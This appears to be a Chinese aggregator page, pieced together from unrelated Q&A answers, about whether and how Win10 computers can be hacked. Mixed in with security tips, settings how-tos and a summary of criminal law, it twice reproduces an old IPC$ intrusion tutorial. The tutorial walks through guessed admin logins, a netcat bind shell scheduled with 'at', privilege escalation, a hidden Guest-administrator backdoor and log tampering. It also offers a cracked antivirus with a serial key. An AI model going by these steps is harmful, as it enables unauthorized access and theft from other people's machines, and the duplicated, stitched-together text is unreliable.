windows之家能入侵win10电脑吗
1.win10会被黑客攻击吗
个人电脑由于入侵价值普遍偏低，所以一般黑客会攻击服务器，那样会更容易获取利益。但个人电脑也不排除被黑客恶意攻击的可能性。其实电脑系统并不会让黑客攻击的可能性改变，而是在电脑的安全性上有所体现。并且，个人电脑被入侵的主要方式是木马和病毒，一般不会有黑客专门入侵个人电脑。
Windows10系统如果坚持更新到最新版本的话几乎是不用担心黑客入侵。其实个人电脑一般情况下本便比服务器更难以入侵。再加上Window10自带的安全软件，对于黑客入侵是无需担忧的。
不过个人认为，Windows10上的安全软件有些不尽人意。答主可以考虑使用一些免费、付费的杀毒软件。诸如腾讯的电脑管家、360安全卫士之类的。但国产的免费杀毒软件几乎都有些广告满天飞，软件捆版的问题。在这里我推荐火绒。火绒虽然可能算不上国产骄傲，但国产良心是确实的。这个可以又自己的使用感受得出，我就不再赘言了。
愿各位能无忧地使用电脑，不要相信某某漏洞刷某某的广告！
2.勒索病毒容易入侵win10哪些端口
大部分系统均起作用，win10也不例外，但win10的安全度比较高，比较安全！此次 永恒之蓝 勒索病毒事件大部分被入侵的都是低级系统，微软已经不提供安全更新的系统。
如果可以建议使用win10比较安全！但主要是要自己做好防御措施防御方法：1.不随意打开/点击/进入/下载安装 不明 网页/链接/网页/软件等（这是最基础的）2.更新安全软件至最新版本，专门应对此次事件的最新版本，要可靠的安全软件（推荐用360安全卫士）3.到微软官网下载最新补丁，或是用360下载最新的补丁！4.这段时间最好每天都木马查杀，漏洞检测。5.也是很重要的一点，把445端口（最重要的），135,137,138,139等危险端口都封闭，关闭方法自己百度，随便一查就会有（最好选择最近的发布文章）6.使用360反勒索服务7.准备好一块系统重装光盘或U盘，以防万一。
8.也要准备好360新更新的工具 文件解密 也是以防万一。9.这一点是最重要，最重要，最重要的，那就是 防火墙 必须要开，（是必须开，而不是可以开，也不是推荐开），不然即使你申请360反勒索赔理，他也绝对不会赔给你的10.如果不闲麻烦可以开机时断掉网线，开机用杀毒软件检查无异常后在重新连网。
3.具体的入侵电脑的方法
IPC入侵攻略！其实针对IPC漏洞入侵的方法目前已经有很多的教程，但是其中很多教程并不完整，所以还是有很多网友来信问我关于IPC漏洞入侵的有关问题，这就是我写这篇文章的原因了。
如果你觉得本文也不完整，那只好去找更好的版本了，但是我希望你能把你的意见和建议告诉我，让我不断的完善这篇文章。本文参考了小榕的流光2000说明文档及其它相关文档，也包含了一些自己的心得体会。
本文欢迎非商业性转载，但请保持文章完整性并注明出处！：-） IPC是Internet Process Connection的缩写，也就是远程网络连接。它是Windows NT及Windows 2000特有的一项功能，特点是在同一时间内，两个IP之间只允许建立一个连接。
好了，废话少说，现在进入主题。 如何找到具有IPC漏洞的主机呢？以前我都是组合一个国外的扫描工具（名字我忘了）和KillUSA的LetMeIn，因为很多工作都是手工完成的，所以速度可想而知了。
现在因为有了小榕的流光2000，所以找到这样的主机实在是太简单了，具体操作我就不说了，大家可以参考该软件的说明文档。 好了，假设我们已经找到了一台这样的主机，地址是139.223.200.xxx，管理员帐号是Administrator，密码是123456。
进入命令行方式，正式开工。需要说明的是，以下操作都是在目标主机没有禁止远程IPC$连接和启动Schedule服务的理想情况下进行的。
F：\》net use \\139.223.200.xxx\ipc$ "123456" /user:"Administrator" 命令成功完成。 F：\》copy nc.exe \\139.223.200.xxx\admin$ 已复制 1 个文件。
F：\》net time \\139.223.200.xxx \\139.223.200.xxx 的当前时间是 2000/12/25 上午 10:25 在 \\139.223.200.xxx 的本地时间 （GMT - 07:00） 是 2000/12/25 上午10:35 命令成功完成。 F：\》at \\139.223.200.xxx 10:38 nc -l -p 1234 -t -e cmd.exe 新增加了一项作业，其作业 ID = 0 F：\》telnet 139.223.200.xxx 1234 上面的命令很简单，你只要参考一下net,at和nc的用法就可以了。
这样，我们就登上了远程的主机。最理想的情况是这样的，但是，也许你会遇到目标主机的Schedule服务没有启动的情况，那么，at命令就不能用了，我们就需要增加以下步骤。
F：\》at \\139.223.200.xxx 10:38 nc -l -p 1234 -t -e cmd.exe 服务仍未启动。 F：\》netsvc \\139.223.200.xxx schedule /start Service is running on \\139.223.200.xxx 登上远程主机之后，我们可以做什么呢？这要视这个帐号的权限以及该主机的安全策略来决定。
如果你的权限不够的话，可以试试下面的步骤。首先在本地执行下面的命令。
F：\》copy getadmin.exe \\139.223.200.xxx\admin$ 已复制 1 个文件。 F：\》copy gasys.dll \\139.223.200.xxx\admin$ 已复制 1 个文件。
其次，在远程主机运行下面的命令。 C:\WINNT\system32》getadmin 如果成功的话，你就是这台主机的管理员了，权限够大了吧？：-） 那么，现在我们能做什么呢？改主页？下载SAM数据库？都可以啦！方法有很多，我就不一一说了，具体方法可以参考相关教程。
我一般对目标主机上的WORD文档和数据库比较感兴趣，呵呵。
其实，如果你在这台机子上面放个木马或者病毒什么的东东，做起事来更容易一些，但是我觉得如果你跟他没什么深仇大恨的话，还是不要这么做了，这样不好。
作完了你要做的事，不要忘了做个后门。 C:\WINNT\system32》net user Guest 30906766 net use Guest 30906766 The command completed successfully. C:\WINNT\system32》net localgroup administrators Guest /add net localgroup administrators Guest /add The command completed successfully. 这是个比较简单的后门，要想做的更好一些，可以象Linux那样，做出一套RootKits来，其实这样的东东目前已经有了，你只要拿来用就可以了。
现在搞破坏真是简单多了，那么多的傻瓜工具任你用，哎！要想自保，不学点安全知识怎么行呢？ 最后，我们得修理一下日志。虽然Redp0wer告诉我很少管理员会看NT的日志，但是我想修理一下还是有用的。
NT的日志在什么地方呢？可以参考XUDI的文章。但是有一点要记住的是，日志只能修改，不能删除，否则就是自己把自己出卖了！：-）这方面的命令行工具也不少，你可以到一些国外的站点去看看。
入侵win10电脑查看桌面
1.如何通过注册表执行Win10默认桌面背景呢
!1、使用Windows键+ R键盘快捷方式打开运行命令。
2、键入regedit，然后单击确定以打开注册表。 3、浏览以下路径：HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies 4、右键单击策略（文件夹）键，选择新建，然后单击密钥。
5、将键命名为System，然后按Enter键。 6、右键单击右侧，选择New，然后单击String Value。
7、将字符串命名为Wallpaper，然后按Enter键。 8、双击新创建的字符串值，并设置要使用的默认壁纸的路径：例如，C:\ defaultwall、jpg。
9、单击确定。 10、右键单击右侧，选择New，然后单击String Value。
11、将字符串命名为WallpaperStyle，然后按Enter键。 12、双击新创建的字符串并更改其值以设置壁纸样式。
您可以使用以下选项之一：0 - Centered1 - Tiled2 - Stretched3 - Fit4 - Fill 13、单击确定。 完成这些步骤后，您需要重新启动计算机以查看新的默认壁纸。
使用这些步骤还会在您同步设置的情况下阻止使用Microsoft帐户同步壁纸。 颜色口音将继续同步，但您可以转到设置帐户同步您的设置，并关闭主题切换开关以防止发生。
2.如何在win10系统中隐藏桌面图标
很多朋友都喜欢在安装程序应用的时候生成桌面图标，虽然桌面图标是一种很好用的快捷方式，可以方便用户的操作，但是久而久之，也很容易造成咱们电脑桌面的混乱，快捷方式过多，也容易造成系统盘的负担，那么是否有什么办法可以解决这个问题呢？其实，在咱们的win10系统中，就有因此桌面图标的功能，下面，小编就来详细的介绍一下这个功能吧！ 1。
首先，咱们需要返回到win10系统的传统桌面位置，之后，咱们在win10电脑的桌面上找到一个空白处，点击鼠标右键，在出现的下滑菜单中，咱们将鼠标指向查看这一项上。 2。
之后，咱们会看到刚刚的菜单旁边会出现一个新的菜单，咱们在新出现的菜单中点击“显示桌面图标”，这样，咱们可以看到这个“显示桌面图标”的勾选就被取消掉了。 完成设置之后，咱们返回到win10系统的桌面位置，就可以看到win10系统的桌面图标全部消失了。
如果大家想要将桌面图标再次显示出来，只需要根据上述步骤，重复操作一次即可。
3.如何找到电脑中隐藏的入侵的黑手
第一时间反应（养成一个好的习惯往碗可以减少所受的损失）：用CTRL+ALT+DEL调出任务表，查看有什么程序在运行，如发现陌生的程序就要多加注意，一般来说，凡是在任务管理器上的程序都不会对系统的基本运行照成负面影响（注意：这里说的是基本运行，先和大家说明白，关于这条我是在网络上关于这个研究的结果），所以大家可以关闭一些可疑的程序来看看，发现一些不正常的情况恢复了正常，那么就可以初步确定是中了木马了，发现有多个名字相同的程序在运行，而且可能会随时间的增加而增多，这也是一种可疑的现象也要特别注意，你这时是在连入Internet网或是局域网后才发现这些现象的话，不要怀疑，动手查看一下吧！，（注：也有可能是其它一些病毒在作怪） 1 先升级杀毒软件到最新，对系统进行全面的检查扫描。
2 点击工具→文件夹选项→查看 把隐藏受保护的操作系统文件（推荐）和隐藏已知文件类型的扩展名 这两项前面的勾去掉，以方便查看。 3 查看Windows目录下的WIN。
INI文件中开头的几行： [WINDOWS] load= ren= 这里放的是启动Windows自动执行的程序，可以看看对比对比一下。 4 查看Windows目录下的SYSTEM。
INI文件中的这几行： [386Enh] device= 这里是放置系统本身和外加的驱动程序。外加的驱动程序一般都用全路径，如： device=c:\windows\system32\tianyangdemeng。
exe（这里只是打个比方）。
4.win10电脑的网上邻居怎么弄出来
其实，在最新的Win10系统中，已经没有“网上邻居”一说了，或者说已经更新了。在Win10中，网上邻居改为了“网络”，默认是不在桌面显示的，但用户可以设置，让其在桌面显示，方法不如。
Win10桌面显示网上邻居网络图标方法
1、首先在桌面的空白处，点击鼠标右键，在弹出的菜单中点击打开“个性化”
2、然后点击左侧的“主题”，之后在右侧点击“桌面图标设置”，
3、之后勾选上“网络”，并点击底部的“应用”和“确定”保存即可。
4、最后在Win10桌面就可以看到“网络”图标了，这个就是XP时代的“网上邻居”，点击打开可以找到相关网络设置。
5.win10怎么找到我的电脑桌面
win10此电脑图标可以通过个性化设置菜单显示工具原料：电脑+win10win10显示系统桌面图标方法如下一、从更改桌面图标设置进行添加：1、在桌面用鼠标右键+r打开个性化界面，在个性化页面中，点击左上方的更改桌面图标，点击选择。
2、、将‘计算机’以及要显示的选择勾选，点击确定即可。二、若桌面加载错误，需要重启资源管理器，重启win10的资源管理器方法如下：1、同时按着ctrl+alt+esc打开任务管理器，并选择“详细信息”2、详细信息下，有很多项内容，在里面找到“Windows资源管理器”，然后右键结束任务3、结束任务之后，桌面会变黑，然后点击右上角的“文件”选择“运行新任务”，在打开的框里输入exeplorer.exe，然后点击确定，之后桌面会闪一下，然后恢复正常。
win10入侵别人家的电脑
1.能详细的说说入侵别人的电脑的步骤和原理
我们自然先来看看“黑客”常用的攻击方法。
“黑客”的攻击方法可以是你所接触到的任何东西：从键盘到硬盘，从诈骗到轰炸。下面我们就逐一列举这些问题。
1. 键盘 是不是感觉到很奇怪，为什么把键盘放在第一位呢？键盘也会遭到攻击吗？很简单，键盘是我们与外界进行沟通的重要桥梁，我们要通过它输入大量的信息，所以许多“黑客”软件都把这只“黑暗中的眼睛”放在了这里。通过记录键盘的活动，可以很容易地得到很多有价值的东西，例如密码、谈话内容。
解决办法：对付这些东西，最好的办法还是使用杀毒软件。如果杀毒软件带有病毒防火墙，需要注意下载最新的防火墙的版本。
2.浏览器 我们上网肯定离不开浏览器，这也是泄漏秘密的“好地方”。浏览器的漏洞主要是IE缓存的问题以及cookie的问题，尤其是cookie，有的cookie里面包含了你的登录网站名称、登录时间甚至登录密码。
“踏雪无痕”这类软件就是专门查看cookie的“黑客”软件。 解决办法：点“internet选项”、“删除文件”把缓存彻底删除掉. 3. 腾讯OICQ. 现在哪家网吧会把腾讯OICQ拒之门外呢？正因为腾讯OICQ的广泛使用，腾讯OICQ每一个新版本的发布都受到众多的“黑客”的关注。
从嗅探器、键盘记录器、轰炸器到偷看聊天记录等攻击方式，让人防不胜防。 解决办法：腾讯OICQ的更新速度非常快，所以要注意下载使用最新版本；在OICQ中点“系统参数”、“网络安全设置”、“拒绝陌生人信息”就可以对付OICQ的轰炸；还应该设置“使用本地信息加密”。
4. 网页浏览 浏览网页是我们获取网上信息的重要方法之一，对于网页浏览需要注意以下几点：登录免费信箱的时候尽量到指定的网站上去登录，不要在个人主页上登录，因为该网站很可能会记录下你的用户名和口令。对付无限制弹出窗口的网页（这是网页浏览时的恶作剧，可以让你的机器死机），可以先按住“Crtl+Alt+Del”键，把“EXPLORER”窗口关闭，然后再修改“Internet”选项，禁止执行Java。
对于网页中插入的ActiveX，当提示下载安装的时候一定要看清除是否签名，如果没有签名就存在包含木马的可能性。尽量到知名的下载网站去下载软件，对下载的软件最好先杀毒。
5. 硬盘共享 网吧等于一个局域网，所以对于网络硬盘的共享一定要注意，尤其是硬盘的写权限千万开不得。最好把所有的硬盘全部设置为不共享。
6. 拷贝粘贴 我们有时候会大量地使用拷贝粘贴功能来复制文件和文字。当离开机器的时候最好把剪贴板清空，尤其要注意是否使用了某些剪贴板增强工具，这些工具通常会自动记录你所拷贝的文件数量和内容，即便是非正常关机都不会消失。
7.遗留文件 不要随便打开别人遗留下来的文件。好奇心并非总是好事。
“黑客”为了使普通用户去掉戒备之心，总是利用大家最常见或者喜好的东西来骗人上当。一个图标是WINZIP的文件实际上却可能是一个木马；一款漂亮的FLASH动画背后可能隐藏了许多不为人所知的“勾当”。
8.异常变化 最后，注意计算机的异常变化。当你正在聊天的时候，突然鼠标不听你指挥了，或者计算机突然重新启动了，又或者突然出现一个新的窗口等，这些迹象表明你使用的计算机遭到了别人的控制。
最好的防范办法，是下载天网个人防火墙，切断与网络的连接，天网同时也会自动记录下入侵者的IP。 9.端口 你在网络上冲浪，别人和你聊天，你发电子邮件，必须要有共同的协议，这个协议就是TCP/IP协议，任何网络软件的通讯都基于TCP/IP协议。
如果把互联网比作公路网，电脑就是路边的房屋，房屋要有门你才可以进出，TCP/IP协议规定，电脑可以有256乘以256扇门，即从0到65535号“门”，TCP/IP协议把它叫作“端口”。当你发电子邮件的时候，E-mail软件把信件送到了邮件服务器的25号端口，当你收信的时候，E-mail软件是从邮件服务器的110号端口这扇门进去取信的，你现在看到的我写的东西，是进入服务器的80端口。
新安装好的个人电脑打开的端口号是139端口，你上网的时候，就是通过这个端口与外界联系的。黑客不是神仙，他也是通过端口进入你的电脑. 黑客是怎么样进入你的电脑的呢？当然也是基于TCP/IP协议通过某个端口进入你的个人电脑的。
如果你的电脑设置了共享目录，那么黑客就可以通过139端口进入你的电脑，注意！WINDOWS有个缺陷，就算你的共享目录设置了多少长的密码，几秒钟时间就可以进入你的电脑，所以，你最好不要设置共享目录，不允许别人浏览你的电脑上的资料。除了139端口以外，如果没有别的端口是开放的，黑客就不能入侵你的个人电脑。
那么黑客是怎么样才会进到你的电脑中来的呢？答案是通过特洛伊木马进入你的电脑。如果你不小心运行了特洛伊木马，你的电脑的某个端口就会开放，黑客就通过这个端口进入你的电脑。
举个例子，有一种典型的木马软件，叫做netspy.exe。如果你不小心运行了netspy.exe，那么它就会告诉WINDOWS，以后每次开电脑的时候都要运行它，然后，netspy.exe又在你的电脑上开了一扇“门”，“门”的编号是7306端口，如果黑客知道你的7306端口是开放的话，就可以用软件偷偷进入到你的电脑。
2.电脑“win10”系统家庭版能被远程控制吗
”Win10“ 电脑系统可以被远程控制。
Win10 本身就有远程控制的功能。具体步骤如下：1、在被控制电脑中找到【此电脑】在这个图标上点右键再选择【属性】，如图：2、打开属性界面后，在左上角进入系统设置界面点击【远程设置】，如图：3、系统属性界面下的【远程】选卡下找到并勾选【允许远程协助连接这台计算机】远程桌面下也要点击【允许远程连接此计算机】，如图三图四：（图三） （图四）4、在开始菜单上单击右键，选择命令提示符（管理员），在命令提示符中通过在终端输入ipconfig命令，查询自己当前的无线ip ，如图：（图五）5、通常TP-LINK路由器的地址都是192.168.1.1，如果你想上网的话就设置为192.168.1.105 子网掩码：255.255.255.0 默认网关：192.168.1.1 DNS:222.201.130.33 备用DNS:222.201.130.30（广州地区） 以上是基本的上网设置6、路由器设置：打开浏览器：192.168.1.1，密码用户名：admin （默认情况下，若修改了登录密码则按修改后的登录密码进行登陆）；7、登陆路由器后，查看上网的设置的wan口的IP地址等信息，该wan口的ip地址即为外网机器（如实验室的电脑，拥有独立的ip）访问通过路由器的电脑（如宿舍无线上网的电脑）的ip 。
8、设置虚拟服务器设置（注：其中2007为外网机器访问通过路由器的电脑的端口（该数字可以随便设，只要不与特定的端口号冲突即可），3389为远程连接的内网端口，内网ip即为通过路由器的电脑ip）如图八：（图八）9、按下win+R打开“运行”，输入“regedit”，打开注册表，依次展开以下路径：[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\TerminalServer\Wds\rdpwd\Tds\tcp]找到PortNamber值。若其默认值不是3389，修改成3389端口即可，注意使用十进制，如图：“Win10”防止被远程控制的步骤如下：第一步：禁用远程服务。
1. 开始 - 运行，输入services.msc命令，点击确定或者回车，打开本地服务；2. 在本地服务窗口，找到Remote Desktop Configuration，并左键双击Remote Desktop Configuration;3. 在Remote Desktop Configuration 属性窗口，我们可以看到Remote Desktop Configuration的启动类型为【手动】，点击小勾，在下拉菜单中选择【禁用】；4. 我们选择禁用以后，启动类型显示：禁用，再点击：应用 - 确定；5. 回到本地服务窗口，可以看到：6. Remote Desktop Configuration 远程 禁用7. 点击窗口左上角的【文件】，在下拉菜单中点击【退出】，退出本地服务。
3.如何能局域网入侵别人的计算机
相关命令 建立空连接 net use [url=file://IP/ipc$]\\IP\ipc$[/url] "" /user："" （一定要注意：这一行命令中包含了3个空格） 建立非空连接 net use [url=file://IP/ipc$]\\IP\ipc$[/url] "用户名" /user："密码" （同样有3个空格） 映射默认共享 net use z: [url=file://IP/c$]\\IP\c$[/url] "密码" /user："用户名" （即可将对方的c盘映射为自己的z盘，其他盘类推） 如果已经和目标建立了ipc$，则可以直接用IP+盘符+$访问，具体命令 net use z: [url=file://IP/c$]\\IP\c$[/url] 删除一个ipc$连接 net use [url=file://IP/ipc$]\\IP\ipc$[/url] /del 删除共享映射 net use c: /del 删除映射的c盘，其他盘类推 net use * /del 删除全部，会有提示要求按y确认 经典入侵模式 1.C:\>net use [url=file://127.0.0.1/IPC$]\\127.0.0.1\IPC$[/url] "" /user:"admintitrators" 这是用《流光》扫到的用户名是administrators，密码为"空"的IP地址（空口令？哇，运气好到家了），如果是打算攻击的话，就可以用这样的命令来与127.0.0.1建立一个连接，因为密码为"空"，所以第一个引号处就不用输入，后面一个双引号里的是用户名，输入administrators，命令即可成功完成。
2. C:\>copy srv.exe [url=file://127.0.0.1/admin$]\\127.0.0.1\admin$[/url] 先复制srv.exe上去，在流光的Tools目录下就有（这里的$是指admin用户的c:\winnt\system32\，大家还可以使用c$、d$，意思是C盘与D盘，这看你要复制到什么地方去了）。 3.C:\>net time [url=file://127.0.0.1/]\\127.0.0.1[/url] 查查时间，发现127.0.0.1 的当前时间是 2002/3/19 上午 11:00，命令成功完成。
4.C:\>at [url=file://127.0.0.1/]\\127.0.0.1[/url] 11:05 srv.exe 用at命令启动srv.exe吧（这里设置的时间要比主机时间快，不然你怎么启动啊，呵呵！） 5.C:\>net time [url=file://127.0.0.1/]\\127.0.0.1[/url] 再查查到时间没有？如果127.0.0.1 的当前时间是 2002/3/19 上午 11:05，那就准备开始下面的命令。 6.C:\>telnet 127.0.0.1 99 这里会用到Telnet命令吧，注意端口是99。
Telnet默认的是23端口，但是我们使用的是SRV在对方计算机中为我们建立一个99端口的Shell。 虽然我们可以Telnet上去了，但是SRV是一次性的，下次登录还要再激活！所以我们打算建立一个Telnet服务！这就要用到ntlm了 7.C:\>copy ntlm.exe [url=file://127.0.0.1/admin$]\\127.0.0.1\admin$[/url] 用Copy命令把ntlm.exe上传到主机上（ntlm.exe也是在《流光》的Tools目录中）。
8.C:\WINNT\system32>ntlm 输入ntlm启动（这里的C:\WINNT\system32>指的是对方计算机，运行ntlm其实是让这个程序在对方计算机上运行）。当出现"DONE"的时候，就说明已经启动正常。
然后使用"net start telnet"来开启Telnet服务！ 9.Telnet 127.0.0.1，接着输入用户名与密码就进入对方了，操作就像在DOS上操作一样简单！（然后你想做什么？想做什么就做什么吧，哈哈） 为了以防万一，我们再把guest激活加到管理组 10.C:\>net user guest /active:yes 将对方的Guest用户激活 11.C:\>net user guest 1234 将Guest的密码改为1234，或者你要设定的密码 12.C:\>net localgroup administrators guest /add 将Guest变为Administrator^_^（如果管理员密码更改，guest帐号没改变的话，下次我们可以用guest再次访问这台计算机） ipc$与空连接，139,445端口，默认共享的关系。
4.有人侵入我的电脑怎么办前天晚上有人侵入我的电脑从此就有噩梦电脑
金山毒霸 2006 完美破解可升级 安装组合版 第三版 金山毒霸自全面实行互联网战略以来，截至目前为止，全球至少有1800万用户在使用金山毒霸，并且这一数字正以每天新增5万用户的速度持续增长。
金山毒霸最新版本《金山毒霸2006杀毒套装》含防杀病毒、防杀间谍软件、隐私保护、防黑客和木马入侵、防网络钓鱼、文件粉碎器、抢先加载、垃圾邮件过滤、主动漏洞修复、安全助手等功能，配合主动实时升级技术、按月更新功能以及每周至少17次升级病毒库（包括非工作日），全面防护您的电脑安全！ 金山毒霸已经不单是一款杀毒软件，而是一款可防止更多网络威胁的互联网安全软件！ 金山网镖的序列号106500-010802-710731-996656 如果真的不会在线升级的。 51ct每隔N天会放出离线病毒库的，不过其实在线升级很简单的哈~ 金山这几天做了一些小动作 在你更新结束后自动下载原版的Update。
EXE覆盖你的破解版的Update。EXE 所以就不能自动更新了 其实也没有什么含金量的样子~~ So。
我用autoit创建了一个进程监视升级 发现金山替换的时候再反替换的样子。 使用方法也一样 覆盖c盘的kav2006文件夹 必须安装默认目录 相关程序：51ct。
exe（第二版的破解Update。EXE） Update。
EXE（用来启动51ct。 exe和1。
exe） 1。exe（监视升级过程并替换金山升级后的原版Update。
EXE） 如果不能升级联系我， ，注明新浪爱问。
入侵Win10系统电脑
1.怎么入侵电脑?
入侵电脑可能涉嫌“破坏计算机信息系统罪”
以下是《刑法》中关于“破坏计算机信息系统罪”的构成要件和量刑。
(2)构成要件
刑法第286条规定的破坏计算机信息系统罪，是指违反国家规定，对计算机信息系统功能进行删除、修改、增加、干扰，造成计算机信息系统不能正常进行；或者对计算机系统存储、处理或者传输的数据进行删除、修改、增加的操作；或者故意制作、传播计算机病毒等破坏性程序，影响计算机和应用程序系统正常运行，后果严重的行为。
本罪的构成要件是：
第一，侵犯的客体，是计算机信息系统的正常运行秩序。
第二，在客观方面，表现为：一是实施了下列3种行为中的一种或者多种：违反国家规定，对计算机信息系统功能进行删除、修改、增加、干扰；或者对计算机信息系统中存储、处理或者传输的数据和应用程序进行删除、修改、增加的操作；或者故意制作、传播计算机病毒的破坏性程序。二是造成了计算机系统不能正常运行，后果严重的危害结果。
第三，本罪的主体是一般主体。
第四，主观方面是故意。
(3)要注意划清本罪的罪与非罪、此罪与彼罪的界限
第一，要划清本罪的罪与非罪的界限。在本罪中，“后果严重”，是构成本罪的要件。这主要是严重影响计算机系统正常运行；影响计算机系统正常运行造成严重经济损失；影响计算机系统正常运行造成其他严重后果。
第二，要划清本罪与刑法第285条规定的非法侵入计算机信息系统罪的界限。这两者的区别是：一是在客观方面，本罪表现为对计算机信息系统进行非法操作，例如删除、修改、增加等等；而侵入计算机信息系统罪则单纯表现为侵入行为。二是从刑法理论上看，本罪表现为“结果犯”；而侵入计算机信息系统罪表现为“行为犯”
(4)刑罚及量刑幅度
根据刑法第286条规定，犯本罪的，判处5年以下有期徒刑或者拘役；后果特别严重的，判处5年以上有期徒刑
2.勒索病毒容易入侵win10哪些端口
大部分系统均起作用，win10也不例外，但win10的安全度比较高，比较安全！此次 永恒之蓝 勒索病毒事件大部分被入侵的都是低级系统，微软已经不提供安全更新的系统。
如果可以建议使用win10比较安全！但主要是要自己做好防御措施防御方法：1.不随意打开/点击/进入/下载安装 不明 网页/链接/网页/软件等（这是最基础的）2.更新安全软件至最新版本，专门应对此次事件的最新版本，要可靠的安全软件（推荐用360安全卫士）3.到微软官网下载最新补丁，或是用360下载最新的补丁！4.这段时间最好每天都木马查杀，漏洞检测。5.也是很重要的一点，把445端口（最重要的），135,137,138,139等危险端口都封闭，关闭方法自己百度，随便一查就会有（最好选择最近的发布文章）6.使用360反勒索服务7.准备好一块系统重装光盘或U盘，以防万一。
8.也要准备好360新更新的工具 文件解密 也是以防万一。9.这一点是最重要，最重要，最重要的，那就是 防火墙 必须要开，（是必须开，而不是可以开，也不是推荐开），不然即使你申请360反勒索赔理，他也绝对不会赔给你的10.如果不闲麻烦可以开机时断掉网线，开机用杀毒软件检查无异常后在重新连网。
3.具体的入侵电脑的方法
IPC入侵攻略！其实针对IPC漏洞入侵的方法目前已经有很多的教程，但是其中很多教程并不完整，所以还是有很多网友来信问我关于IPC漏洞入侵的有关问题，这就是我写这篇文章的原因了。
如果你觉得本文也不完整，那只好去找更好的版本了，但是我希望你能把你的意见和建议告诉我，让我不断的完善这篇文章。本文参考了小榕的流光2000说明文档及其它相关文档，也包含了一些自己的心得体会。
本文欢迎非商业性转载，但请保持文章完整性并注明出处！：-） IPC是Internet Process Connection的缩写，也就是远程网络连接。它是Windows NT及Windows 2000特有的一项功能，特点是在同一时间内，两个IP之间只允许建立一个连接。
好了，废话少说，现在进入主题。 如何找到具有IPC漏洞的主机呢？以前我都是组合一个国外的扫描工具（名字我忘了）和KillUSA的LetMeIn，因为很多工作都是手工完成的，所以速度可想而知了。
现在因为有了小榕的流光2000，所以找到这样的主机实在是太简单了，具体操作我就不说了，大家可以参考该软件的说明文档。 好了，假设我们已经找到了一台这样的主机，地址是139.223.200.xxx，管理员帐号是Administrator，密码是123456。
进入命令行方式，正式开工。需要说明的是，以下操作都是在目标主机没有禁止远程IPC$连接和启动Schedule服务的理想情况下进行的。
F：\》net use \\139.223.200.xxx\ipc$ "123456" /user:"Administrator" 命令成功完成。 F：\》copy nc.exe \\139.223.200.xxx\admin$ 已复制 1 个文件。
F：\》net time \\139.223.200.xxx \\139.223.200.xxx 的当前时间是 2000/12/25 上午 10:25 在 \\139.223.200.xxx 的本地时间 （GMT - 07:00） 是 2000/12/25 上午10:35 命令成功完成。 F：\》at \\139.223.200.xxx 10:38 nc -l -p 1234 -t -e cmd.exe 新增加了一项作业，其作业 ID = 0 F：\》telnet 139.223.200.xxx 1234 上面的命令很简单，你只要参考一下net,at和nc的用法就可以了。
这样，我们就登上了远程的主机。最理想的情况是这样的，但是，也许你会遇到目标主机的Schedule服务没有启动的情况，那么，at命令就不能用了，我们就需要增加以下步骤。
F：\》at \\139.223.200.xxx 10:38 nc -l -p 1234 -t -e cmd.exe 服务仍未启动。 F：\》netsvc \\139.223.200.xxx schedule /start Service is running on \\139.223.200.xxx 登上远程主机之后，我们可以做什么呢？这要视这个帐号的权限以及该主机的安全策略来决定。
如果你的权限不够的话，可以试试下面的步骤。首先在本地执行下面的命令。
F：\》copy getadmin.exe \\139.223.200.xxx\admin$ 已复制 1 个文件。 F：\》copy gasys.dll \\139.223.200.xxx\admin$ 已复制 1 个文件。
其次，在远程主机运行下面的命令。 C:\WINNT\system32》getadmin 如果成功的话，你就是这台主机的管理员了，权限够大了吧？：-） 那么，现在我们能做什么呢？改主页？下载SAM数据库？都可以啦！方法有很多，我就不一一说了，具体方法可以参考相关教程。
我一般对目标主机上的WORD文档和数据库比较感兴趣，呵呵。
其实，如果你在这台机子上面放个木马或者病毒什么的东东，做起事来更容易一些，但是我觉得如果你跟他没什么深仇大恨的话，还是不要这么做了，这样不好。
作完了你要做的事，不要忘了做个后门。 C:\WINNT\system32》net user Guest 30906766 net use Guest 30906766 The command completed successfully. C:\WINNT\system32》net localgroup administrators Guest /add net localgroup administrators Guest /add The command completed successfully. 这是个比较简单的后门，要想做的更好一些，可以象Linux那样，做出一套RootKits来，其实这样的东东目前已经有了，你只要拿来用就可以了。
现在搞破坏真是简单多了，那么多的傻瓜工具任你用，哎！要想自保，不学点安全知识怎么行呢？ 最后，我们得修理一下日志。虽然Redp0wer告诉我很少管理员会看NT的日志，但是我想修理一下还是有用的。
NT的日志在什么地方呢？可以参考XUDI的文章。但是有一点要记住的是，日志只能修改，不能删除，否则就是自己把自己出卖了！：-）这方面的命令行工具也不少，你可以到一些国外的站点去看看。
4.win10会被黑客攻击吗
个人电脑由于入侵价值普遍偏低，所以一般黑客会攻击服务器，那样会更容易获取利益。但个人电脑也不排除被黑客恶意攻击的可能性。其实电脑系统并不会让黑客攻击的可能性改变，而是在电脑的安全性上有所体现。并且，个人电脑被入侵的主要方式是木马和病毒，一般不会有黑客专门入侵个人电脑。
Windows10系统如果坚持更新到最新版本的话几乎是不用担心黑客入侵。其实个人电脑一般情况下本便比服务器更难以入侵。再加上Window10自带的安全软件，对于黑客入侵是无需担忧的。
不过个人认为，Windows10上的安全软件有些不尽人意。答主可以考虑使用一些免费、付费的杀毒软件。诸如腾讯的电脑管家、360安全卫士之类的。但国产的免费杀毒软件几乎都有些广告满天飞，软件捆版的问题。在这里我推荐火绒。火绒虽然可能算不上国产骄傲，但国产良心是确实的。这个可以又自己的使用感受得出，我就不再赘言了。
愿各位能无忧地使用电脑，不要相信某某漏洞刷某某的广告！
5.勒索病毒容易入侵win10哪些端口
网络安全专家建议，用户要断网开机，即先拔掉网线再开机，这样基本可以避免被勒索软件感染。开机后应尽快想办法打上安全补丁，或安装各家网络安全公司针对此事推出的防御工具，才可以联网。建议尽快备份电脑中的重要文件资料到移动硬盘、U 盘，备份完后脱机保存该磁盘，同时对于不明链接、文件和邮件要提高警惕，加强防范。
临时解决方案：
1、开启系统防火墙
2、利用系统防火墙高级设置阻止向445端口进行连接（该操作会影响使用445端口的服务）
3、打开系统自动更新，并检测更新进行安装
Win7、Win8、Win10的处理流程
1、打开控制面板-系统与安全-Windows防火墙，点击左侧启动或关闭Windows防火墙。
2、选择启动防火墙，并点击确定
3、点击高级设置
4、点击入站规则，新建规则
5、选择端口，下一步
6、特定本地端口，输入445，下一步
7、选择阻止连接，下一步
8、配置文件，全选，下一步
9、名称，可以任意输入，完成即可。
XP系统的处理流程
